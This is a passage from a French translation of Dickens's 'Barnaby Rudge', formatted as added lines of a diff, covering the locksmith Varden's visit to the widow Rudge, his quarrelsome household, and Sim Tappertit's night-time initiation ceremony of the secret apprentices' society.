+aussitôt pour le saisir de son bec de fer. Est-il âgé?
+
+-- C'est un enfant, répliqua le serrurier: cent vingt ans, ou
+environ. Barnabé, mon ami, appelez-le pour qu'il descende.
+
+-- L'appeler! répéta Barnabé se dressant sur son séant au milieu
+du plancher et regardant Gabriel d'un air hébété, en même temps
+qu'il rejeta en arrière ses cheveux épars sur son visage. Mais qui
+donc le ferait venir à volonté? C'est lui qui m'appelle et me fait
+venir où il veut. Il marche devant, et moi à sa suite. Il est le
+maître, et je suis le domestique. Est-ce la vérité, Grip?»
+
+Le corbeau fit entendre une sorte de croassement court,
+confortable, confidentiel; un croassement très expressif, qui
+semblait dire: «Vous n'avez pas besoin d'initier ces gens-là à nos
+secrets. Nous nous comprenons bien tous deux. Ça suffit.»
+
+«Moi le faire venir! cria Barnabé en montrant l'oiseau. Lui qui ne
+dort jamais; c'est tout au plus s'il cligne des yeux! Mais,
+n'importe à quel instant de la nuit, vous pourriez voir ses yeux
+dans l'obscurité de ma chambre, comme deux étincelles. Chaque
+nuit, et tant que la nuit dure, il est bien éveillé, allez, et il
+se parle à lui-même, en pensant à ce qu'il fera le lendemain, et
+où nous irons, et à ce qu'il volera, cachera, enfouira. Moi le
+faire venir! Ha! ha! ha!»
+
+Changeant d'idée, le corbeau parut disposé à descendre de lui-
+même. Après un rapide examen du plancher, et quelques regards
+obliques jetés au plafond et sur chacun des assistants à tour de
+rôle, il voltigea en bas et alla vers Barnabé, non point en
+sautant, ni en marchant, ni en courant, mais du pas d'un élégant
+prétentieux qui, avec des bottes excessivement étroites, essaye de
+passer bien vite sur de petites pierres qui roulent sous ses
+pieds. Puis, montant sur la main que lui avait tendue Barnabé, et
+consentant à se tenir au bout de son bras, il fit entendre une
+série de sons assez comparables au glouglou de longs bouchons
+tirés de quelques douzaines de bouteilles, après quoi il confirma
+de nouveau d'une voix fort distincte que sa naissance et son
+parentage infernal sentaient le roussi.
+
+Le serrurier secoua la tête (peut-être parce qu'il ne savait pas
+trop si cette créature n'était pas réellement autre chose qu'un
+oiseau), peut-être parce qu'il s'apitoyait sur Barnabé, qui tenait
+pendant ce temps-là le corbeau entre ses bras, et se roulait avec
+lui sur le plancher. Lorsqu'il leva ses yeux de dessus le pauvre
+garçon, il rencontra ceux de sa mère; elle était entrée dans la
+chambre, et regardait en silence.
+
+Sa figure était toute pâle, même ses lèvres; mais elle avait
+dominé son émotion, et rendu à son regard son calme habituel.
+Varden s'imagina que, lorsqu'il lui lança un coup d'oeil, elle
+s'était cachée de sa vue, et que, pour mieux l'éviter, elle
+s'occupait du jeune blessé.
+
+Il était temps qu'il se couchât, disait-elle. Il devait être
+transporté chez lui le lendemain, et il avait déjà dépassé d'une
+grande heure le temps où il pouvait être levé. Sur cette
+insinuation, le serrurier se prépara à prendre congé.
+
+«À propos, dit Édouard en lui donnant une poignée de main et en
+promenant ses regards de Varden à la veuve et de la veuve à
+Varden, quel bruit y avait-il donc en bas? J'ai entendu votre voix
+au milieu de ce tapage, et je vous eusse fait cette question
+auparavant, si notre autre conversation ne m'avait pas fait passer
+cela de la mémoire. Qu'était-ce donc?
+
+Le serrurier la regarda et se mordit la lèvre. Elle s'appuya
+contre la bergère et fixa ses yeux vers le plancher. Barnabé aussi
+écoutait.
+
+«Quelque fou, monsieur, ou quelque ivrogne, dit enfin Varden,
+regardant, fixement la veuve pendant qu'il parlait. Il s'était
+trompé de maison, et il voulait entrer ici comme chez lui.»
+
+Elle respira plus librement, mais resta debout dans une complète
+immobilité. Lorsque le serrurier souhaita le bonsoir, et que
+Barnabé leva la chandelle pour l'éclairer jusqu'au bas de
+l'escalier elle la lui prit, et lui ordonna, peut-être avec plus
+de hâte et de vivacité que n'en comportait une si légère
+circonstance, de ne pas bouger. Le corbeau les suivit, pour avoir
+la satisfaction de constater si tout était en bas comme il
+fallait, et, quand ils eurent atteint la porte de la rue, il resta
+sur la dernière marche, faisant entendre d'innombrables glouglous
+de bouteilles qu'on débouche.
+
+D'une tremblante main elle détacha la chaîne, poussa en dehors le
+verrou et tourna la clef. Comme elle avait sa main sur le loquet,
+le serrurier lui dit à voix basse:
+
+«J'ai fait ce soir un mensonge en votre faveur, Marie, et en
+faveur des temps passés et de nos anciennes relations, j'aurais
+dédaigné d'en faire autant pour mon propre compte. J'espère
+n'avoir pas fait de mal, ni causé de mal à personne. Je ne peux
+écarter les soupçons que vous m'avez donnés malgré moi, et c'est
+avec répugnance, je vous le dis franchement, que je laisse
+M. Édouard ici. Prenez garde qu'il ne lui arrive aucun mal. La
+sûreté de ce toit m'est suspecte, et je me réjouis de savoir qu'il
+s'en éloignera bientôt. Maintenant, laissez-moi sortir.»
+
+Un moment elle cacha sa figure dans ses mains et pleura, mais,
+résistant à l'impétueux besoin qu'elle avait évidemment de lui
+répondre, elle ouvrit la porte, tout juste la place de passer, et
+lui fit signe de s'en aller. Le serrurier était encore sur le pas
+de la porte, qu'on l'avait déjà fermée derrière lui à clef et
+tendu la chaîne; le corbeau, s'associant à ces précautions,
+aboyait de son côté comme un vigoureux chien de garde.
+
+«Cette ligue avec un personnage de mauvaise mine, un échappé de
+gibet... pendant Édouard l'entend ici de sa retraite! La présence
+de Barnabé, venu le premier sur le lieu de l'événement, la nuit
+dernière! Se pourrait-il que cette femme, qui a toujours eu la
+meilleure réputation fût devenue secrètement complice de tels
+crimes! dit le serrurier se livrant à ses rêveries. Que le ciel me
+pardonne si j'ai tort, et qu'il ne m'envoie que des pensées de
+justice, mais elle est pauvre, la tentation peut bien être grande,
+et nous entendons parler tous les jours de choses qui ne sont pas
+plus extraordinaires. Oui, oui, aboie, mon ami. Il y a quelque
+chose là-dessous; le diable ou le corbeau s'en mêle, j'en mettrais
+bien ma main au feu.
+
+
+
+
+CHAPITRE VII.
+
+
+Mme Varden était une dame de cette humeur qu'on appelle
+communément incertaine; ce qui signifie, quand on veut tirer les
+choses au clair, une humeur au contraire trop certaine
+d'incommoder plus ou moins tout le monde. Ainsi, il arrivait en
+général que, quand les autres étaient gais, Mme Varden était
+triste, et que, quand les autres étaient tristes, Mme Varden était
+disposée à être d'une gaieté surprenante. Véritablement la digne
+ménagère était d'une nature si capricieuse, que non seulement elle
+s'élevait au-dessus du génie de Macbeth par son aptitude à
+montrer, en un tour de main, sagesse et stupéfaction, modération
+et fureur, loyauté et indifférence; mais encore sa voix changeait
+de gamme, montait et descendait dans tous les tons et tous les
+modes possibles en moins d'un petit quart d'heure; en un mot, elle
+savait manoeuvrer le triple carillon et jouer à toute volée des
+instruments éclatants du clocher féminin, avec une adresse et une
+rapidité d'exécution qui étonnaient tous les auditeurs.
+
+Une observation faite sur cette bonne dame (qui ne manquait pas de
+charmes en sa personne, car on la trouvait potelée et de même
+appétissante, quoique, comme sa charmante fille, un peu courte de
+taille), c'était que son humeur incertaine se fortifiait et
+s'augmentait en raison de sa prospérité temporelle; et il ne
+manquait pas de gens très sensés, ma foi, hommes et femmes, en
+liaison d'amitié avec le serrurier et sa famille, qui allaient
+jusqu'à dire qu'une culbute d'une demi-douzaine de tours sur
+l'échelle du monde, tels que, la banqueroute d'une banque où son
+mari plaçait son argent, ou quelque autre accident de ce genre, la
+rendrait et sans faute une des dames du plus agréable commerce
+ici-bas. Je n'ai pas à m'expliquer sur cette conjecture bien ou
+mal fondée, toujours est-il que les esprits, comme les corps,
+tombent souvent dans un état fâcheux où ils se couvrent de
+pustules par pur excès de bien être, et, comme eux, se guérissent
+souvent avec des remèdes nauséabonds, d'un goût affreux au palais.
+
+Le principal auxiliaire et l'âme damnée de Mme Varden, mais en
+même temps la principale victime de ses colères, était son unique
+servante, une demoiselle Miggs, ou, comme on l'appelait,
+conformément à ces préjuges sociaux qui élaguent et étêtent chez
+les pauvres filles de service tout ce luxe de politesse, Miggs.
+Cette Miggs était une grande jeune demoiselle, très adonnée aux
+socques dans la vie privée, mince et acariâtre, qui aurait pu être
+mieux faite, et, sans avoir absolument une mauvaise physionomie,
+d'un visage acide comme du vinaigre. En principe général et comme
+pure abstraction, Miggs soutenait que le sexe mâle était
+extrêmement méprisable et indigne d'attention, qu'il était volage,
+faux, bas, fat, enclin au parjure, et totalement dénué de mérite.
+Lorsqu'elle était exaspérée contre les hommes d'une façon
+particulière (ce qui arrivait au dire des médisants, dans les
+moments où elle avait le plus à se plaindre des mépris de Sim
+Tappertit), elle avait coutume de souhaiter, avec une grande
+énergie, que toutes les femmes vinssent à mourir un beau jour,
+pour apprendre aux hommes à mieux connaître la valeur de ces
+créatures célestes auxquelles ils attachent si peu de prix; oui,
+dans le transport de son patriotisme féminin, elle allait jusqu'à
+déclarer quelquefois que, si on pouvait lui garantir un bon
+nombre, un chiffre rond de dix mille jeunes vierges, par exemple,
+prêtes à l'imiter, elle n'hésiterait pas, pour faire dépit au sexe
+masculin, à se pendre, à se noyer, à se poignarder, à
+s'empoisonner elle même, avec une joie indicible.
+
+Ce fut la voix de Miggs qui salua le serrurier, quand il frappa à
+la porte de sa maison, d'un cri perçant de: «Qui est là?
+
+-- C'est moi, ma fille, c'est moi, répondit Gabriel.
+
+-- Quoi, déjà, monsieur! dit Miggs, ouvrant la porte d'un air de
+surprise. Nous mettions justement notre bonnet de nuit pour
+veiller, moi et ma maîtresse. Oh! elle a été si mal!»
+
+Miggs dit cela d'un air de candeur et de sollicitude peu commun;
+mais la porte de la salle à manger était toute grande ouverte, et
+Gabriel, sachant parfaitement pour qui c'était dit, lui jeta en
+passant un regard qui n'était rien moins que satisfait.
+
+«C'est monsieur qui rentre, mame, cria Miggs, courant devant lui
+dans la salle à manger. C'est vous qui aviez tort, mame, et c'est
+moi qui avais raison. Je pensais bien qu'il ne nous ferait pas
+veiller si tard, deux nuits de suite. Ce n'est pas monsieur qui
+ferait ça. J'en suis contente, mame, à cause de vous. Je suis un
+peu... ici Miggs pleurnicha... un peu tourmentée par le sommeil
+moi-même, je l'avoue maintenant, mame, quoique je n'aie pas voulu
+en convenir quand vous me l'avez demandé. Mais ça ne fait rien,
+mame, naturellement.
+
+-- Vous auriez mieux fait, dit le serrurier, qui aurait bien voulu
+que le corbeau de Barnabé fût là pour mordre Miggs à la cheville,
+vous auriez mieux fait alors d'aller vous coucher tout de suite.
+
+-- Je vous remercie, monsieur, de tout mon coeur, répliqua Miggs.
+Je n'aurais pu reposer en paix, ni fixer mes pensées sur mes
+prières, sans la certitude que madame était confortablement dans
+son lit; et, franchement, il y a déjà bien des heures qu'elle
+devrait y être.
+
+-- Vous jasez beaucoup, mademoiselle, dit Varden en ôtant son
+pardessus et la regardant de travers.
+
+-- Je vous comprends, monsieur, cria Miggs la rougeur au front, et
+je vous remercie de tout mon coeur, j'oserai dire que, si je vous
+offense par mes égards pour ma maîtresse, je ne vous en dois point
+d'excuses, trop heureuse de m'attirer ainsi des tribulations et
+des peines.»
+
+Ici Mme Varden, qui, la tête ensevelie dans un grand bonnet de
+nuit, avait été, pendant tout ce temps, absorbée par le _Manuel
+protestant_, regarda autour d'elle, et, pour reconnaître les
+exploits de Miggs son champion, lui commanda de se taire.
+
+Chacun des petits os que Miggs pouvait avoir au cou et à la gorge
+se développa avec une plénitude de dépit tout à fait alarmante, et
+elle répliqua:
+
+«Oui, mame, je me tairai.
+
+-- Comment vous trouvez-vous maintenant, ma chère amie? dit le
+serrurier en s'asseyant auprès de sa femme (qui avait repris son
+livre) et se frottant rudement les genoux pendant qu'il faisait
+cette question.
+
+-- Vous êtes bien en peine de le savoir, n'est-ce pas? répondit
+Mme Varden, ses yeux sur le texte, vous qui n'avez pas été auprès
+de moi de toute la journée, et qui m'abandonneriez bien tout de
+même, quand je serais à l'article de la mort!
+
+-- Ma chère Marthe!» dit Gabriel.
+
+Mme Varden tourna la page, puis elle revint à la dernière ligne de
+la page précédente, pour s'assurer parfaitement des derniers mots,
+puis elle continua de lire, de l'air d'une personne qui étudie
+avec un profond intérêt.
+
+«Ma chère Marthe dit le serrurier, comment pouvez vous dire
+pareilles choses, quand vous savez bien que vous ne les pensez
+pas? Quand vous seriez à l'article de la mort! mais, si vous aviez
+la moindre indisposition un peu sérieuse, est-ce que je ne serais
+pas continuellement auprès de vous?
+
+-- Oui, cria Mme Varden fondant en larmes, oui, vous y seriez. Je
+n'en doute pas, Varden. Certainement vous y seriez. Autant me dire
+tout de suite que vous planeriez autour de moi comme un vautour,
+attendant que j'eusse rendu l'âme pour pouvoir aller en épouser
+une autre.»
+
+Miggs, par sympathie, fit entendre un gémissement, un petit
+gémissement court, réprimé dès sa naissance, et changé en une
+quinte de toux. La servante semblait dire «Je n'en peux mais; ça
+m'est arraché par l'affreuse brutalité de ce monstre de maître.»
+
+«Mais vous me briserez le coeur un de ces jours ajouta Mme Varden
+avec plus de résignation, et alors nous serons heureux tous les
+deux. Mon seul désir est de voir Dolly bien établie, et quand elle
+le sera, vous pourrez m'établir, moi aussitôt que vous voudrez.
+
+-- Ah! cria Miggs, et elle toussa de nouveau.
+
+Le pauvre Gabriel tortilla sa perruque en silence pendant quelque
+temps et alors il dit avec douceur: «Est-ce que Dolly est allée se
+coucher?
+
+-- Votre maître vous parle, dit Mme Varden, regardant sévèrement
+par-dessus son épaule Miggs qui attendait ses ordres.
+
+-- Non ma chère amie, c'est à vous que je parle, répliqua le
+serrurier toujours avec douceur.
+
+-- Ne m'entendez-vous pas Miggs? cria la dame opiniâtre en
+frappant du pied le plancher. Voilà que vous commencez vous aussi,
+n'est-ce pas? à ne tenir aucun compte de moi maintenant. Mais on
+vous en donne l'exemple.»
+
+À ce cruel reproche, Miggs, dont les larmes étaient toujours
+prêtes à grandes ou petites doses, selon les cas, dans le plus
+bref délai et sans s'inquiéter des motifs, se mit à pleurer
+violemment, en tenant ses deux mains serrées pendant ce temps-là
+sur son coeur, comme si cette précaution pouvait seule l'empêcher
+de se rompre en mille morceaux. Mme Varden, qui possédait la même
+faculté à un haut degré de perfection, pleura à l'unisson, mais ma
+foi! Miggs ne tarda pas à être débordée et céda la première, et,
+sauf un soupir qui semblait dans l'occasion trahir quelque
+arrière-pensée de vouloir éclater derechef, elle laissa sa
+maîtresse en possession du champ de bataille.
+
+Sa supériorité bien constatée, cette dame mit également un prompt
+terme à ses pleurs, et tomba dans une paisible mélancolie.
+
+Le soulagement était si grand, et la fatigue des incidents de la
+veille était si accablante pour le serrurier, qu'il pencha sa tête
+sur sa chaise et eut dormi là toute la nuit, si la voix de
+Mme Varden, après une pause de quelque cinq minutes, ne l'avait
+éveillé en sursaut.
+
+«S'il m'arrive, dit Mme Varden, non plus d'une voix querelleuse,
+mais de l'accent d'une monotone remontrance, d'être de bonne
+humeur, s'il m'arrive d'être gaie, s'il m'arrive d'être plus qu'à
+l'ordinaire disposée au plaisir de la conversation, voilà comme on
+me traite.
+
+-- De bonne humeur comme vous étiez, mame, il n'y a qu'une demi-
+heure! cria Miggs. Je n'ai jamais vu si agréable compagnie!
+
+-- Parce que, dit Mme Varden, parce que jamais je ne me mêle de
+quoique ce soit, jamais je n'interromps, parce que jamais je ne
+demande pourquoi l'on va, pourquoi l'on vient; parce que tout mon
+esprit et toute mon âme ne sont appliqués qu'à faire les économies
+que je peux faire dans mon ménage, et à travailler dans l'intérêt
+de cette maison, voilà les épreuves qu'on me destine pour
+récompense.
+
+-- Marthe, dit vivement le serrurier, qui tâchait d'avoir l'air
+aussi réveillé que possible, de quoi vous plaignez-vous? Je suis
+réellement venu chez nous avec le plus vif désir d'être heureux.
+Oui, c'est la pure vérité.
+
+-- De quoi je me plains! rétorqua sa femme. Y a-t-il rien de plus
+glacial que de voir un mari bouder, et s'endormir aussitôt après
+son retour à la maison, que de le voir vous éteindre toute chaleur
+au coeur, et jeter de l'eau froide sur le foyer domestique? N'est-
+ce pas naturel, quand je sais qu'il était sorti pour une affaire à
+laquelle je m'intéresse autant que personne au monde, que je
+souhaite savoir ce qui s'est passé, ou qu'il se croie obligé de me
+le dire sans que je le lui demande les mains jointes? Est-ce
+naturel, oui ou non?
+
+-- Je suis très fâché, Marthe, de n'avoir pas su cela plus tôt,
+dit l'excellent serrurier. Je craignais vraiment que vous ne
+fussiez pas disposée à une conversation divertissante. Je vous
+dirai tout ce que vous voudrez, je serai trop heureux de vous le
+dire, ma chère amie.
+
+-- Non, Varden, répliqua sa femme en se levant avec dignité. Non,
+je vous remercie, je ne suis pas un enfant qu'on corrige, pour le
+caresser une minute après, je suis trop âgée pour cela, Varden,
+Miggs, prenez la lumière. Vous du moins, Miggs, vous pouvez être
+gaie! Vous êtes bien heureuse.»
+
+Miggs qui, jusqu'à ce moment, avait été dans les abîmes de la
+compassion la plus désespérée, passa instantanément à toute
+l'allégresse imaginable, et secouant la tête tandis qu'elle
+lançait un coup d'oeil au serrurier, elle emporta à la fois sa
+maîtresse et la chandelle.
+
+«Qui donc croirait, pensa Varden en haussant les épaules et
+rapprochant du feu sa chaise, que cette femme put jamais être
+enjouée et agréable? Et cependant c'est la vérité. Allons, c'est
+bon, nous avons tous nos défauts. Je ne veux pas insister sur les
+siens: il y a trop longtemps que nous sommes mari et femme pour
+cela.»
+
+Il s'assoupit de nouveau, et de bon coeur, grâce à son heureux
+caractère bon et cordial. Lorsqu'il eut fermé les yeux, la porte
+conduisant aux étages supérieurs s'ouvrit, et il en sortit une
+tête qui, en le voyant, se rejeta en arrière avec précipitation.
+
+«Je voudrais bien, murmura Gabriel s'éveillant au bruit et
+regardant autour de la salle, je voudrais bien que quelqu'un
+épousât Miggs, mais c'est impossible! Je serais fort étonné qu'il
+y eût un fou assez fou dans ce monde pour épouser Miggs!»
+
+C'était là un si vaste sujet de réflexions que notre homme
+s'assoupit encore une fois, et dormit jusqu'à ce que le feu fût
+entièrement consumé. Enfin il se réveilla de lui même; et, après
+avoir fermé à double tour la porte de la rue, selon l'usage, et
+mis la clef dans sa poche, il alla se coucher.
+
+La salle n'était dans l'obscurité que depuis quelques minutes
+lorsque la tête apparut encore, et que Sim Tappertit entra,
+portant à la main une petite lampe.
+
+«Que diable a-t-il donc eu à faire pour me boucher le passage si
+tard? marmotta Sim en passant dans l'atelier et mettant sa lampe
+sur la forge. Voilà déjà la moitié de la nuit d'écoulée! Chien de
+métier, de rouille et de ferraille! je n'y ai jamais gagné, sur
+mon âme, que cette pièce de clincaillerie.»
+
+En parlant ainsi, il tira du côté droit ou plutôt du gousset de la
+jambe droite de sa culotte, une grande clef grossièrement
+fabriquée; il l'introduisit avec précaution dans la serrure fermée
+par son maître, et il ouvrit la porte doucement. Cela fait, il
+remit dans sa poche son chef-d'oeuvre clandestin; puis laissant la
+lampe allumée, et fermant la porte avec soin et sans bruit, il se
+glissa dans la rue, aussi peu soupçonné du serrurier dormant d'un
+profond sommeil, que de Barnabé lui-même en proie aux fantômes de
+ses rêves.
+
+
+
+
+CHAPITRE VIII.
+
+
+Lorsqu'il fut hors de la maison du serrurier, Sim Tappertit mit de
+côté ses manières circonspectes, et, prenant en leur place des
+airs de tapageur, de fanfaron, de batteur d'estrade, qui
+n'hésiterait pas à tuer un homme et à le manger tout cru au
+besoin, il chemina de son mieux le long des rues obscures.
+
+Faisant de temps à autre une demi-pause pour taper sur sa poche,
+afin de s'assurer qu'il avait bien son passe-partout, il marcha en
+toute hâte vers Barbican[10], et, tournant dans l'une des plus
+étroites des étroites rues qui divergeaient de ce point central,
+il ralentit son pas et il essuya son front en sueur, comme s'il
+était près d'atteindre le terme de sa course.
+
+Le lieu n'était pas d'un très bon choix pour une promenade
+nocturne, car il jouissait véritablement d'une renommée plus
+qu'équivoque et n'avait pas une apparence des plus engageantes. De
+la rue principale, ou plutôt de la ruelle où il était entré, une
+allée basse conduisait dans une cour borgne, profondément noire,
+non pavée, et exhalant des odeurs stagnantes. Ce fut sur ce
+terrain de mauvaise mine que l'apprenti fugitif du serrurier
+chercha sa route à tâtons, et que, s'arrêtant devant une maison
+dont la façade, sale et pourrie, portait le grossier simulacre
+d'une bouteille suspendue pour enseigne comme quelque malfaiteur à
+la potence, il frappa trois fois de son pied une grille en fer.
+Après avoir attendu en vain quelque réponse à son signal,
+M. Tappertit s'impatienta, et frappa la grille trois fois encore;
+puis un nouveau délai, mais cette fois il ne fut pas de longue
+durée: le sol parut s'ouvrir à ses pieds, et une tête raboteuse
+apparut.
+
+«Est-ce le capitaine? dit une voix aussi raboteuse que la tête.
+
+-- Oui, répondit M. Tappertit avec hauteur, en même temps qu'il
+descendait. Qui donc pourrait-ce être?
+
+-- Il est si tard que nous ne comptions plus sur vous, répliqua la
+voix, pendant que l'orateur s'arrêtait pour fermer la grille et
+l'attacher. Vous venez tard, monsieur.
+
+-- Marchez, dit M. Tappertit avec une sombre majesté, et pas
+d'observations avant que je vous y autorise. En avant, marche!»
+
+Ce dernier mot de commandement était peut-être quelque peu
+théâtral et superflu, d'autant plus qu'on descendait par un
+escalier très étroit, roide et glissant, et que la moindre
+précipitation, le moindre écart de la trace battue, devait aboutir
+à un tonneau d'eau tout béant. Mais M. Tappertit, qui, à l'exemple
+d'autres grands commandants, aimait les grands effets et le
+déploiement de la dignité personnelle, cria derechef: «En avant,
+marche!» de la voix la plus rauque qu'il put trouver dans ses
+poumons; puis il descendit le premier, les bras croisés et les
+sourcils froncés, jusqu'au bas des degrés de la cave, où il y
+avait une petite chaudière en cuivre fixée dans un coin, une
+chaise ou deux, un banc et une table, un feu qui ne brillait pas
+beaucoup, et un lit à roulettes, couvert d'une espèce de bure
+rapiécée et déguenillée.
+
+«Salut, noble capitaine!» cria un maigre personnage en se levant,
+comme s'il se réveillait.
+
+Le capitaine fit un signe de tête; puis, ôtant son pardessus, il
+se tint debout, en composant son attitude, et, dans tout l'éclat
+de sa dignité, il lança son oeillade à son acolyte.
+
+«Quelles nouvelles ce soir? demanda-t-il en le regardant jusqu'au
+fin fond de l'âme.
+
+-- Rien de particulier, répondit l'autre en s'étendant (et il
+était si long déjà, que c'était chose tout à fait alarmante que de
+le voir s'étendre ainsi). Pourquoi donc venez-vous si tard?
+
+-- Peu vous importe, fut la seule réponse que daigna faire le
+capitaine.
+
+-- La salle est-elle préparée?
+
+-- Elle l'est, répliqua son acolyte.
+
+-- Le camarade... est-il ici?
+
+-- Oui, et les autres en petit nombre. Vous les entendez?
+
+-- Ils jouent aux quilles! dit le capitaine avec humeur. Des têtes
+légères! des hommes de plaisir!»
+
+On ne pouvait avoir de doute sur l'amusement spécial auquel se
+livraient ces esprits inférieurs: car, même dans l'atmosphère
+renfermée et étouffée de la cave, le bruit retentissait comme un
+tonnerre lointain. Certes, à première vue, le choix d'un pareil
+lieu pour un pareil délassement pouvait paraître singulier, si les
+autres caves ressemblaient à celles où avait eu lieu ce colloque;
+car le sol était de la terre cuite, le mur et la voûte de simple
+brique, tapissée de limaçons et de limaces. L'air était écoeurant,
+corrompu et malsain. On aurait cru, d'après un fumet prononcé qui
+dominait entre les diverses odeurs de l'endroit qu'on s'en était
+servi, à une époque peu reculée, comme d'un magasin à fromages:
+circonstance explicative de l'humidité graisseuse répandue de
+toute part en même temps qu'elle faisait naître dans l'esprit
+l'agréable idée des rats, amateurs de fromages. La localité, en
+outre, était naturellement humide, et l'on voyait de petits
+champignons surgir de chaque coin vermoulu.
+
+Le propriétaire de cette charmante retraite, auquel appartenait
+également la tête raboteuse mentionnée ci-dessus, car il portait
+une vieille perruque à noeud aussi nue et aussi sale qu'un balai
+usé, les avait rejoints, pendant ce temps-là, et il se tenait un
+peu à l'écart, se frottant les mains, remuant son menton hérissé
+de soies de porc toutes blanches, et souriant en silence. Ses yeux
+étaient fermés; mais eussent-ils été ouverts, on aurait facilement
+pu dire, d'après l'attentive expression de sa figure tournée vers
+eux, figure pâle et dépourvue de santé, comme on devait s'y
+attendre chez un homme voué à cette existence souterraine, comme
+aussi d'après un certain tremblement inquiet de ses paupières
+retroussées qu'il était aveugle.
+
+«Stagg lui-même s'est endormi, dit le long camarade en indiquant
+d'un signe de tête ce personnage.
+
+-- Solidement, capitaine, solidement! cria l'aveugle. Que veut
+boire mon noble capitaine? Eau-de-vie, rhum, scubac? Est-ce de la
+poudre trempée ou de l'huile brûlante? Nommez quelque chose, coeur
+de chêne, et nous vous le procurerons, quand ce serait du vin des
+caves de l'évêque, ou de l'or fondu de la monnaie du roi Georges.
+
+-- Eh bien! dit M. Tappertit d'une façon hautaine, quelque chose,
+et que ce soit vite servi, et pendant que vous y êtes, vous pouvez
+m'apporter ça, si vous le voulez, des caves du diable.
+
+-- Bravement parlé, noble capitaine! répliqua l'aveugle c'est
+parlé comme la gloire des apprentis. Ha! ha! des caves du diable!
+Fameuse plaisanterie! Le capitaine aime à rire. Ha, ha, ha!
+
+-- Je n'ai qu'un mot à vous dire mon beau garçon, dit M. Tappertit
+en lançant une oeillade à l'hôte, pendant que ce dernier se
+dirigea vers un placard d'où il tira une bouteille et un verre,
+aussi négligemment que s'il avait eu la pleine jouissance de sa
+vue: c'est que, si vous faites ce vacarme, vous apprendrez que le
+capitaine n'aime pas toujours à rire. Vous m'entendez?
+
+-- Il a les yeux sur moi! cria Stagg, s'arrêtant tout court au
+moment où il revenait, et affectant de couvrir sa figure avec la
+bouteille. Je les sens, quoique je ne puisse pas les voir. Ôtez-
+les, noble capitaine; détournez-les, car ils me percent jusqu'à
+l'âme, comme des vrilles.»
+
+M. Tappertit sourit affreusement à son camarade; et, dirigeant sur
+lui un autre regard en coulisse, une espèce de vis oculaire, sous
+l'influence de laquelle l'aveugle feignit d'éprouver une grande
+angoisse, une vraie torture, il lui commanda, d'un ton radouci,
+d'approcher et de se taire.
+
+«Je vous obéis, capitaine, cria Stagg, en s'approchant et en
+versant à son chef une rasade, sans répandre une goutte, par la
+raison qu'il tint son petit doigt au bord du verre, et qu'il
+s'arrêta dès que la liqueur l'eut touché; buvez, noble commandant.
+Mort à tous les maîtres, vivent tous les apprentis, et amour à
+toutes les belles demoiselles! Buvez, brave général, et réchauffez
+votre coeur intrépide!»
+
+Tappertit daigna prendre le verre de la main de l'aveugle. Stagg
+alors mit un genou en terre, et frotta doucement les mollets de
+son chef, avec un air d'humble admiration.
+
+«Que n'ai-je des yeux! cria-t-il, pour voir les proportions
+symétriques de mon capitaine! Que n'ai-je des yeux pour contempler
+ces deux jumeaux, fatals à la paix des ménages!
+
+-- Laissez-moi! dit M. Tappertit en abaissant son regard sur ses
+membres favoris. Voulez-vous me laisser, Stagg!
+
+-- Quand je touche les miens après, cria l'hôte les tapant d'un
+air de reproche, ils me sont odieux. Comparativement parlant, ils
+n'ont pas plus de forme que des jambes de bois, à côté des jambes
+moulées de mon noble capitaine.
+
+-- Les vôtres! s'écria M. Tappertit, oh! je le crois bien.
+N'allez-vous pas comparer ces vieux cure-dents-là avec mes propres
+membres? c'est presque un manque de respect. Allons, prenez ce
+verre. Benjamin ouvrez la marche. À l'ouvrage!
+
+En disant ces mots il recroisa ses bras, et, fronçant les sourcils
+avec une sombre majesté, il suivit son compagnon à travers une
+petite porte vers l'extrémité supérieure de la cave, et disparut,
+laissant Stagg à ses méditations personnelles.
+
+La cave dans laquelle ils entrèrent, jonchée de sciure de bois et
+faiblement éclairée, séparait la première de celle où s'amusaient
+les joueurs de quilles, comme l'indiquait le bruit croissant et la
+clameur des langues. Ce bruit cessa soudain, toutefois, et fut
+remplacé par un profond silence, au signal du long camarade. Alors
+ce jeune monsieur, allant vers une petite armoire, en rapporta un
+fémur, qui, dans les siècles passés, avait dû faire partie
+intégrante de quelque individu au moins aussi long que lui, et il
+déposa cet os dans les mains de M. Tappertit. Celui-ci, le
+recevant comme un sceptre ou un bâton de maréchal, prit une mine
+farouche en relevant sur le haut de sa tête son chapeau à trois
+cornes, et monta sur une grande table, où un fauteuil d'apparat,
+joyeusement orné d'une couple de crânes, était tout prêt à le
+recevoir.
+
+Il ne faisait que de s'installer, quand parut un autre jeune
+monsieur, portant entre ses bras un gros livre fermé avec une
+agrafe. Ce personnage adressa au président une profonde révérence,
+remit le livre au long camarade, s'approcha de la table, tourna le
+dos, et, se pliant en deux, se tint là dans la posture d'Atlas.
+Alors, le long camarade monta aussi sur la table; et s'asseyant
+dans un fauteuil moins haut que celui de M. Tappertit, avec
+beaucoup de solennité et de cérémonie, plaça le gros livre sur les
+épaules de leur compagnon muet, aussi tranquillement que si c'eût
+été un pupitre de bois, et se prépara à y faire des inscriptions
+avec une plume de taille analogue.
+
+Lorsque le long camarade eut fini ces préparatifs, il regarda
+M. Tappertit; et M. Tappertit, faisant le moulinet avec l'os en
+question, frappa neuf fois sur l'un des crânes. Au neuvième coup,
+un troisième jeune monsieur entra par la porte menant au quartier
+des quilles, et, après un profond salut, il attendit les ordres du
+chef.
+
+«Apprenti! dit le puissant capitaine, qui attend là-bas?»
+L'apprenti répondit qu'un étranger attendait pour solliciter son
+admission dans la société secrète des Chevaliers Apprentis, et une
+libre participation à leurs droits, privilèges et immunités. Là-
+dessus M. Tappertit fit de nouveau le moulinet avec le tibia de la
+présidence, et donnant au second crâne un coup prodigieux sur le
+nez, il s'écria: «Qu'on l'introduise!» À ces terribles paroles
+l'apprenti salua encore, et se retira comme il était entré.
+
+Bientôt apparurent à la même porte deux autres apprentis, ayant
+entre eux un troisième, dont les yeux étaient bandés. Il avait une
+perruque à bourse, un habit à larges pans, avec une garniture de
+galon terni; il était en outre ceint d'une épée, conformément aux
+statuts de l'ordre qui réglaient l'introduction des
+récipiendaires, et qui leur enjoignaient de revêtir ce costume de
+cour et de le garder constamment dans de la lavande, pour s'en
+servir au besoin. L'un des parrains du récipiendaire tenait
+pointée à son oreille une espingole rouillée, et l'autre un très
+vieux sabre, avec lequel, tout en s'avançant, il découpait en
+l'air d'imaginaires ennemis, d'une façon sanguinaire et
+anatomique.
+
+Comme ce groupe silencieux approchait, M. Tappertit enfonça son
+chapeau sur sa tête. Le récipiendaire mit alors sa main sur sa
